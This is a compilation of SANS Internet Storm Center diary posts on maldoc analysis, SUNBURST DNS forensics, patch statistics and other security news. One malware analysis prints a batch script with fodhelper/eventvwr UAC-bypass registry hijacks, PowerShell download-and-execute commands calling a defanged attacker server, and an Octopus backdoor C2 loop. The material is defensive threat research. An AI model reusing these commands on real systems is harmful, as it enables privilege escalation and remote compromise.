When FireEye released YARA rules to detect their stolen red team tools, I was interested in their maldoc rules:

This rule here (Methodology_OLE_CHARENCODING_2) detects OLE files (.doc, .xls, ...) that contains sequences of decimal numbers. Converted to ASCII, these numbers reveal short strings: "echo off", "MZ", "PK".

That indicates to me that maldocs created with FireEye's tool embed a .BAT file, a .EXE and/or a .ZIP file.

The maldoc sample mentioned in the rule is available on VirusTotal: MD5 41b70737fa8dda75d5e95c82699c2e9b.

I analyze this maldoc as follows:

First I run my oledump tool:

The macro indicators (M and m) tell me that there is VBA code in this maldoc. But my attention is first drawn to the streams that end with /o (stream 10 and 20). Hiding payloads, scripts, ... inside VBA user form values is a well-known technique used by malware authors. I have a plugin to help with the analysis of maldocs that use this technique: plugin_stream_o.

This is the command:

So stream 10 contains a value that looks like a message to be displayed by this maldoc.

And stream 20 contains the payload we are looking for: a long sequence of decimal numbers. It starts with 80;75;3;4: that's the YARA rule's detection string for a ZIP record.

Remark also the "Found: 2" message from the plugin: this is new since the last version. This means there are 2 values inside this stream (if there is only one value, this Found message is not displayed, just like older versions of the plugin do).

The next step now is to convert this sequence of decimal numbers to bytes. I have a tool for that: numbers-to-string.py.

Since there are 2 values inside stream 20, I want to take a closer look first. I use option -S of numbers-to-string.py to produce statistics for each line of text with numbers:

So there are 2 values inside stream 20 that are long sequences of decimal numbers. Line 25: 66124 values between 0 and 255, Line 26: 66191 values between 0 and 255. So it looks like we have 2 embedded files in here, probably 2 ZIP files.

I select the first value (line 25), decode it as binary data (-b) and analyze it with my tool zipdump.py.

So that is indeed a ZIP file, and it contains a .exe file.

I do a quick check to see if the second value (line 26) also decodes to a ZIP file:

And indeed, that one too is a .exe file.

With zipdump's option -e I get extra info, like the hash to look the file up on VirusTotal:

Here are the samples: 2eb4469c76f5230c66626a6918c7664f and 0d9391a889ba91a3da63654d51820e89.

So this FireEye maldoc is not hard to analyze.

Remark that in the YARA rule, there are strings with separator : and x beside ;. It looks like there can be variations in the encoding, but that has no effect on the decoding of the decimal numbers by my tool.

I also checked if VBA stomping or purging was performed on this maldoc, but that doesn't seem to be the case:

There is compiled code and VBA code inside the module streams. So the compiled VBA code has not been purged, and neither has the source code been stomped, since I can find VBA source code with Shell statements and CreateObject calls:

I recorded a video of this analysis, where I also take a look at the VBA code:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

The current Solarwinds/Sunburst/Fireeye incident and its associated command&control (C2) traffic to avsvmcloud[.]com domains [1] have spurred potentially affected Solarwinds customers to searching their logs and data for any presence of this C2 domain. While the Snort IDS rules published by FireEye [2] would detect any currently ongoing traffic to the C2 domain, they are of no use in an attempt to answer the question if any such connections were made in the past. Given the timeline of the incident, ranging as currently known from March 2020 to today, this isn't a straight forward search.

What helps in such a scenario are:
a) Full packet captures on the Internet uplink
b) Logs of the DNS resolver
c) Logs of any proxy server or gateway used to connect to the Internet

With today's bandwidths and data volumes, full packet capture is probably not practical except for deep-pocketed institutions. And I'm guessing that even for them, >6 months of retention will be a stretch. Logs of the DNS resolver can be retained more readily, because they usually compress nicely, and can even be indexed into a first seen / last seen database for use as a "Passive DNS" [3]. And lastly, proxy or firewall logs, are only a partial indicator at best in this scenario, because these logs likely wouldn't register if the C2 domain was just DNS-resolved by the implant, but the malware then subsequently remained dormant.

And in any case, all of these network forensics countermeasures mentioned so far describe what many companies have available in their "legacy IT" environment or on-premises network. Fast forward to "The Cloud", and things begin to look a lot more murky. Unless significant architectural effort has been spent on network design and egress filtering, virtual machines (VMs) in both Azure and AWS have direct connectivity to the Internet, and make use of a Microsoft / Amazon provided DNS resolver.

In Azure, a VM can be configured to have a Private DNS Zone, but the ability for Azure Firewall to log any DNS name resolution is a feature that only became available very recently [4,5]. The same is the case for Amazon, where Resolver Query Logging from private VNets is an equally recent feature [6].

Consequently, it is fair to assume that most Azure and AWS deployments today won't have DNS resolver logs available, and therefore don't have any straight forward way to determine if their Azure/AWS environment ever reached out to the SUNBURST domains in the recent months. While there are developments like DNS-over-HTTPS (DoH) that may render DNS logs less useful in future, for the time being, passive DNS / DNS resolver logs are still a must-have. The pivot points this provides for network forensics and timeline analysis are just too valuable. Hence, if your on-premises network has such DNS resolver logs available, but your Cloud doesn't, maybe this is one of the items that should make it onto your to-do list for 2021.

[1] https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
[2] https://github.com/fireeye/sunburst_countermeasures/blob/main/all-snort.rules
[3] https://isc.sans.edu/diary/Running+your+Own+Passive+DNS+Service/24784
[4] https://azure.microsoft.com/en-us/blog/new-enhanced-dns-features-in-azure-firewall-now-generally-available/
[5] https://docs.microsoft.com/en-us/azure/firewall/logs-and-metrics
[6] https://aws.amazon.com/about-aws/whats-new/2020/08/amazon-route-53-resolver-supports-vpc-dns-query-logging/

Since we could all probably use a little distraction from the current Solarigate/SUNBURST news[1,2,3], I thought it might be good to look at something a little bit more positive today. Specifically, at how patching of CVE-2019-19781 AKA “Shitrix” AKA “one of the more famous named vulnerabilities from the end of 2019” went.

Given that my last couple of diaries dealing with vulnerabilities discussed mainly the surprisingly high number of systems still affected by fairly old CVEs[4,5], you might reasonably ask what “positive” information might await us in this one with regards to Shitrix. In its case, however, the situation truly seems to have taken a turn for the better during 2020.

You may remember that Xavier covered the number of unpatched systems accessible from the internet in May[6] and the situation has been steadily improving since then. Based on data from Shodan, it seems that only approximately 4.5 % of the originally affected number of machines are still vulnerable.

Don’t get me wrong – since vulnerable Citrix ADCs may provide (in the case of systems which are still vulnerable read “have almost certainly already provided”) a way for attackers into internal networks, even one exposed vulnerable machine is one too many. We only need to look to the Düsseldorf University Hospital ransomware attack[7] to see how significant issue an exploitation of a system affected by Shitrix many months after the first exploit was published[8] may be.

But when we compare the significant decrease in the number of systems affected by CVE-2019-19781 in 2020 with the much slower decrease we’ve seen for SMBGhost[4] or even BlueKeep[5], the situation does seem much more optimistic. We can of course hardly compare the impact of a vulnerability like Shitrix with the impact of a trojanized software update for a critical network management system, so let us hope that the response to the crisis currently facing us will be even faster than that...

Although even when it comes to and NMS such as SolarWinds Orion, one can hardly expect that all of the affected systems would eventually be free of malicious code, since not all organizations have the wherewithal to monitor security issues and mitigate them. Or, as Johannes recently put it, “some organizations care, others do not”[9].

[1] https://isc.sans.edu/forums/diary/SolarWinds+Breach+Used+to+Infiltrate+Customer+Networks+Solarigate/26884/
[2] https://www.bleepingcomputer.com/news/security/solarwinds-hackers-breach-us-nuclear-weapons-agency/
[3] https://www.reuters.com/article/us-global-cyber-microsoft-idUSKBN28R3BY
[4] https://isc.sans.edu/forums/diary/SMBGhost+the+critical+vulnerability+many+seem+to+have+forgotten+to+patch/26732/
[5] https://isc.sans.edu/forums/diary/Heartbleed+BlueKeep+and+other+vulnerabilities+that+didnt+disappear+just+because+we+dont+talk+about+them+anymore/26798/
[6] https://isc.sans.edu/forums/diary/Flashback+on+CVE201919781/26178/
[7] https://www.zdnet.com/article/first-death-reported-following-a-ransomware-attack-on-a-german-hospital/
[8] https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+Update/25724/
[9] https://www.sans.org/newsletters/newsbites/xxii/91

-----------
Jan Kopriva
@jk0pr
Alef Nula

In the past, I have published a couple diaries on Elasticsearch for pihole and tcp-honeypot to parse and report on the data capture by those applications.

This document is a compilation of the various references listed in the PDF document (here as well), it documents step-by-step the processes I have been using to setup TLS encryption within my test network. Using Elasticsearch elasticsearch-certutil tool in CA mode, it simplifies the creation of certificates and generates a new certificate authority (CA) to use within the local ELK infrastructure. These steps provide secure communication for Linux and Windows between Elasticsearch nodes, Kibana, logstash and the various beats.

The complete installation document TLS_elasticsearch_configuration.pdf can be viewed here.

[1] https://handlers.sans.edu/gbruneau/elk/TLS_elasticsearch_configuration.pdf
[2] https://isc.sans.edu/forums/diary/ELK+Dashboard+for+Pihole+Logs/25652/
[3] https://isc.sans.edu/forums/diary/ELK+Dashboard+and+Logstash+parser+for+tcphoneypot+Logs/25702/
[4] https://www.elastic.co/guide/en/elasticsearch/reference/current/configuring-tls.html
[5] https://www.elastic.co/guide/en/elasticsearch/reference/current/certutil.html
[6] https://www.elastic.co/blog/configuring-ssl-tls-and-https-to-secure-elasticsearch-kibana-beats-and-logstash
[7] https://www.elastic.co/guide/en/elasticsearch/reference/master/encrypting-communications-certificates.html
[8] https://www.elastic.co/blog/elasticsearch-security-configure-tls-ssl-pki-authentication
[9] https://techexpert.tips/elasticsearch/elasticsearch-enable-tls-https/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Less than 2 weeks after release 3.4.1, there's already another release of Wireshark: 3.4.2.

That's probably because of bug 17075: Wireshark 3.4.1 hangs on startup on macOS Big Sur 11.0.1.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

A quick heads-up to those of you that use Sysinternals tools like Process Explorer to check PE files on VirusTotal: this is not working for the moment.

We've had reports and saw Tweets about this issue in the past days.

We confirm there is an issue: a check for notepad.exe with Process Explorer results in a not-found reply:

{"data": [{"found": false, "hash": "C401CD335BA6A3BDAF8799FDC09CDC0721F06015"}], "result": 1}

Let's hope this gets sorted out after the weekend.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Over the last few months a few groups I am involved with have been discussing openportstats.com.  They first came to my attention in May of 2020. At that time a number of ISPs indicated attempted DOS by IPs in Russia (ASN202425).  The volume of traffic was not really big enough to do any harm, but in some cases the volume of network traffic was causing issues for some devices and causing congestion on some low speed links.

In July the traffic reappeared. 

One firewall was showing 330,000 blocked port scan events an hour. With some free time for research, the path led to the website openportstats.com, a website hosted in France, and purporting to be IoT researchers.  In fact in late July the ISC added openportstats to our list of known researchers. 

Starting in September, the scans became almost continuous.

I recently attempted to contact them using the two email addresses listed on their website, and both emails were returned "server not available". 

I am all for supporting security research, but none of the other various scanners and crawlers which contribute to the background noise of the Internet are causing the level of impact openportstats.com is.  Their scans are clumsy and overly aggressive and given my lack of luck attempting to contact them I am having to question the legitimacy of these researchers and their research.  

If you have also experienced impact from their scans, or know anyone associated with openportstats.com, I would love to hear about it via comments on this diary or through our contact page.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

Last week, I found a malware sample that does nothing fancy, it's a data stealer but it has an interesting feature. It's always interesting to have a look at the network flows generated by malware samples. For a while, attackers use GeoIP API services to test if the victim's computer deserves to be infected... or not! By checking the public IP address used by the victim, an attacker might prevent "friends" to be infected (ex: IP addresses from the attacker's country) or if the IP address belongs to a security vendor. On the other side, the attacker might decide to infect the computer because it is located in a specific country or belongs to the targeted organization. There is plenty of free APIs that offer this feature. The ISC API provides also the same kind of details (but only the country)

remnux@remnux:~$ curl -s https://isc.sans.edu/api/ip/195.74.193.12?json | jq '.ip.ascountry'
"BE"

The sample that I found (SHA256:D196E2BBCAF21D3335D72F8E2F2691474BA625E6B01C4DB41A1F91FC41A5EBDF) has a VT score of 41/69[1]. It uses the .Net framework tool regsvcs.exe[2] to execute malicious code extracted by the first stage file. The malware performs the following queries. First, it queries for the victim's public IP address with the help of icanhazip.com:

remnux@remnux:~$ curl -s http://icanhazip.com/
81.246.x.x

The second service used is api.mylnikov.org:

remnux@remnux:~$ curl -s 'https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:0c:29:xx:xx:xx'
{"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1608552093}

This free service provides geolocation data for WiFi MAC addresses or BSSID. This is also useful to detect the location of the victim. The malware submits the MAC address of the default gateway (in my VM environment) or the BSSID (the MAC address of the wireless access point). In my case, it did not work of course but here is an example of valid BSSID:

remnux@remnux:~$ curl -s 'https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:0C:42:1F:65:E9'
{"result":200, "data":{"lat": 45.22038682066, "range": 141.727, "lon": 16.54741327415, "time": 1608560868}} 

You can see that only latitude and longitude are returned in the JSON data but it's easy to get back the country/city using another public service:

remnux@remnux:~$ curl -s 'https://geocode.xyz/45.22,16.54?geoit=json'| jq '.state'
"BA"

"api.mylnikov.org" seems to be an interesting observable! 

[1] https://www.virustotal.com/gui/file/d196e2bbcaf21d3335d72f8e2f2691474ba625e6b01c4db41a1f91fc41a5ebdf/detection
[2] https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool
[3] https://www.mylnikov.org

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

A couple of weeks ago, I assisted Xavier when he taught FOR610 in (virtual) Frankfurt. Last week, one of our students (Nicklas Keijser) sent us this analysis that we decided to share as a guest diary. 

Introduction

This is a quick rapport how to extract IoC:s from the latest sample of the Dridex droppers we have encountered. The stage 2 url:s that are called upon after infection are heavily obfuscated and with this method we were able to extract them all from each document.

Analysis

When performing dynamic analysis on the document it was noticed that different and random url:s was contacted every time the macro was enabled.

The sample that was analyzed is
File name: 12072020_383287_7924204.xlsm

md5sum:d5b40faa134ee1e73233e521ac476cdd

If the macro is enabled it will contact the stage 2 server and delete the macro itself. To be able to enter debug mode the Developer ribbon was added in Excel.

When the document is opened in Visual Basic the code is “looked” and it is not possible to view or edit the code.

To make the code visible and possible to edit the tool Evil Clippy was used:

hXXps[:]//github[.]com/outflanknl/EvilClippy

Used the with the option -uu it unlocks the part that is protected and creates a new document.

If the new document is opened within the Developer view the code is now visible.

The code builds up the the url:s and other function of its code by adding together different cells within the document. The numbers in the cells are written in white with white background, to hide it from the user, but if the document is marked the different numbers appears.

After analysing the code it is noticed that the url are built up and stored in the Variant called cc. If a break point is placed when the Variant cc is called and the macro is activated all the url:s reveal themselves.

In the version of debugger used in this analysis it wasn’t possible to copy all the values at the same time so the following code was added to write out the Variant variable to a file in the folder C:\temp.

*******************************

Open "C:\temp\output.txt" For Output As #1

# This line already existed

Randomize: mc = 1: ecutior = cc(Int((UBound(cc) + mc) * Rnd))

For i = 0 To 54

    Write #1, cc(i)

    Next i

Close #1

*******************************

Finally all the url:s was written to a file and can be used as IoC:s

IOCs can be found here: https://isc.sans.edu/diaryimages/ioc-12072020_383287_7924204.txt

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

Here is an interesting malicious Word document that I spotted yesterday. This time, it does not contain a macro but two embedded objects that the victim must "activate" (click on one of them) to perform the malicious activities. The document (SHA256:ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11ca11c2c47cdf04) has a VT score of 20/62[1]:

A quick analysis with oledump.py reveals indeed the presence of two embedded objects (the "0" indicator):

remnux@remnux:~$ oledump.py ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11ca11c2c47cdf04.doc.vir 
  1:       114 '\x01CompObj'
  2:       280 '\x05DocumentSummaryInformation'
  3:       416 '\x05SummaryInformation'
  4:      7338 '1Table'
  5:      4096 'Data'
  6: O    1329 'ObjectPool/_1670067230/\x01Ole10Native'
  7:         6 'ObjectPool/_1670067230/\x03ObjInfo'
  8: O    1536 'ObjectPool/_1670067231/\x01Ole10Native'
  9:         6 'ObjectPool/_1670067231/\x03ObjInfo'
 10:      4096 'WordDocument'

You can extract them via oledump.py or directly from the document (if you have a Word in your sandbox). Both objects are the same and contain a Windows batch fime. Note the double extension:

• HIRING FORM.DOC.bat
• CONDITIONS OF THE CONTRACT.PDF.bat

Here is the content (beautified):

@echo Off
for /f "tokens=2 delims=," %%i in ('wmic os get caption^,version /format:csv') do set os=%%i
echo %os%|find " 10 ">nul 
  && reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f 
  && reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd.exe /c powershell -WindowStyle Hidden -command \"IEX (New-Object Net.WebClient).DownloadFile('hxxp://23[.]98[.]155[.]192/sc.bat', 'C:\Users\Public\Libraries\sc.bat');\" C:\Users\Public\Libraries\sc.bat" /f 
  && START /W fodhelper.exe 
  && reg delete HKCU\Software\Classes\ms-settings /f||reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "cmd.exe /c powershell -WindowStyle Hidden -command \"IEX (New-Object Net.WebClient).DownloadFile('hxxp://23[.]98[.]155[.]192/sc.bat', 'C:\Users\Public\Libraries\sc.bat');\" C:\Users\Public\Libraries\sc.bat" /f 
  && START /W eventvwr.exe 
  && reg delete HKEY_CURRENT_USER\Software\Classes\mscfile /f

This script will test the operating system version and if the victim's computer is running Windows 10, two UAC bypass techniques are attempted:

The first one targets 'fodhelper.exe' by creating a registry key 'HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute'. The second one targets 'eventvwr.exe'. This is a common technique used for a while by attackers.

The privileged command executes a simple Powershell script that fetches the next stage payload and executes it. This 'sc.bat' is heavily obfuscated:

This file contains Chinese characters but interesting strings can be extracted:

remnux@remnux:~$ strings -n 20 sc.bat 
=R7cBqDS KFeZWNzhyTrOCGUE3gmujl4@dnxQk0wvbVYIi5aJ8HM1tA2o6L9XfspP"
%ImJ:~44,1%%ImJ:~41,1%%ImJ:~31,1%%ImJ:~1,1%%ImJ:~7,1%"
=%ImJ:~54,1%%ImJ:~34,1%%ImJ:~55,1%%ImJ:~40,1%%g
%%ImJ:~43,1%%ImJ:~53,1%%ImJ:~26,1%%ImJ:~3,1%%
%%ImJ:~61,1%%ImJ:~46,1%%ImJ:~31,1%%ImJ:~24,1%%ImJ:~18,1%%ImJ:~41,1%%ImJ:~16,1%%ImJ:~57,1%%ImJ:~20,1%%ImJ:~52,1%%ImJ:~23,1%%ImJ:~35,1%%ImJ:~8,1%%ImJ:~42,1%%ImJ:~17,1%%ImJ:~62,1%%
%%ImJ:~9,1%%ImJ:~50,1%%ImJ:~6,1%%ImJ:~14,1%%ImJ:~44,1%%ImJ:~25,1%%ImJ:~36,1%%ImJ:~59,1%%ImJ:~30,1%%ImJ:~39,1%%ImJ:~22,1%%AJ
%%ImJ:~15,1%%ImJ:~47,1%%ImJ:~12,1%%ImJ:~45,1%%ImJ:~56,1%%ImJ:~5,1%%ImJ:~1,1%%ImJ:~32,1%%
%%ImJ:~38,1%%ImJ:~10,1%%ImJ:~2,1%%ImJ:~0,1%%ImJ:~29,1%%ImJ:~48,1%%ImJ:~13,1%%ImJ:~28,1%%ImJ:~37,1%%ImJ:~58,1%%ImJ:~51,1%%ImJ:~63,1%%ImJ:~49,1%%ImJ:~7,1%%ImJ:~19,1%%ImJ:~11,1%%ImJ:~21,1%%ImJ:~27,1%%ImJ:~33,1%%ImJ:~60,1%%ImJ:~4,1%"
%bIY:~45,1%%bIY:~38,1%%bIY:~57,1%%bIY:~6,1%%bIY:~23,1%"
%bIY:~35,1%%bIY:~56,1%=%bIY:~43,1%%N
%%bIY:~29,1%%bIY:~12,1%%bIY:~38,1%%bIY:~28,1%%bIY:~49,1%%bIY:~37,1%%bIY:~51,1%%bIY:~33,1%%bIY:~32,1%%
%%bIY:~24,1%%bIY:~46,1%%bIY:~11,1%%bIY:~31,1%%bIY:~63,1%%bIY:~7,1%%bIY:~36,1%%bIY:~40,1%%bIY:~1,1%%bIY:~50,1%%bIY:~42,1%%bIY:~48,1%%bIY:~61,1%%
m%%bIY:~25,1%%bIY:~34,1%%bIY:~45,1%%bIY:~0,1%%bIY:~19,1%%bIY:~39,1%%bIY:~2,1%%bIY:~60,1%%bIY:~30,1%%bIY:~20,1%%bIY:~4,1%%bIY:~62,1%%bIY:~57,1%%bIY:~10,1%%bIY:~58,1%%bIY:~5,1%%
F%%bIY:~22,1%%bIY:~53,1%%bIY:~41,1%%bIY:~56,1%%Pc
M%%bIY:~27,1%%bIY:~21,1%%bIY:~23,1%%bIY:~26,1%%_
YW%%bIY:~8,1%%bIY:~6,1%%bIY:~59,1%%bIY:~3,1%%bIY:~17,1%%bIY:~16,1%%bIY:~14,1%%bIY:~9,1%%bIY:~35,1%%bIY:~44,1%%bIY:~47,1%%bIY:~13,1%%bIY:~15,1%%bIY:~55,1%%bIY:~52,1%%bIY:~18,1%%bIY:~54,1%%
:~54,1%://hpsj[.]firewall-gateway[.]net:80/hpjs.php');\""
:~54,1%://hpsj[.]firewall-gateway[.]net:8080/MicrosoftUpdate"%bK
:~60,1%://is[.]gd/xbQIQ2','C:\Users\Public\Libraries\pus.bat');"%bK
:~62,1%:\Users\Public\Libraries\pus.bat
:~54,1%://hpsj[.]firewall-gateway[.]net:8080/MicrosoftUpdate'%bK
:~62,1%:\Users\Public\Libraries\pus.bat'%bK
:~54,1%://hpsj[.]firewall-gateway[.]net:8080/MicrosoftUpdate
:~54,1%://hpsj[.]firewall-gateway[.]net:80/hta

It downloads more malicious code from URLs present in the file.

The first one from hxxp://hpsj.firewall-gateway.net/hta:

var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php'));";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
w32ps.SpawnInstance_();
w32ps.ShowWindow=0;
var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\\',w32ps,null);

The returned data contains Powershell code that is executed through the 'IEX' command. 

The second script from hxxp://hpsj.firewall-gateway[.]net:8080/MicrosoftUpdate exfiltrates information about the victim to the C2:

Now, let's have a look at the Powershell code retrieved above. It's a backdoor that keeps contact with the C2 via simple HTTP requests:

while($true){
    try{
    $command_raw = $wc2.downloadString("hxxp://hpsj[.]firewall-gateway[.]net:80/view/$IHW");
    }catch{
    $failure_counter=$failure_counter +1;
    if ($failure_counter -eq 10){
    kill $pid
    }
    }

The variable "$IHW" identifies the victim. The following commands are:

• Report: To return information about the victim (processes, IP address, etc)
• Download: To retrieve a file
• reset-ps: To reset the Powershell session 
• Any other command is interpreted via 'Invoke-Expression'

All communications occur on top of HTTP but data are AES encrypted. Checking deeper, we are facing an Octopus[2] backdoor. This framework has been developed to help red teams to compromise and gather information from victims. In this case, it was not an exercise but a real phishing campaign targeting specific users.

I wish you a Merry Christmas and stay safe!

[1] https://www.virustotal.com/gui/file/ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11ca11c2c47cdf04/detection
[2] https://github.com/mhaskar/Octopus

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Yesterday, Xavier showed how to start analyzing a malicious Word document with my oledump.py tool.

Some time ago, I wrote a diary entry about string analysis: "Quickie: String Analysis is Still Useful", and would like to remark that this is another method to start analyzing the maldoc Xavier mentioned yesterday:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com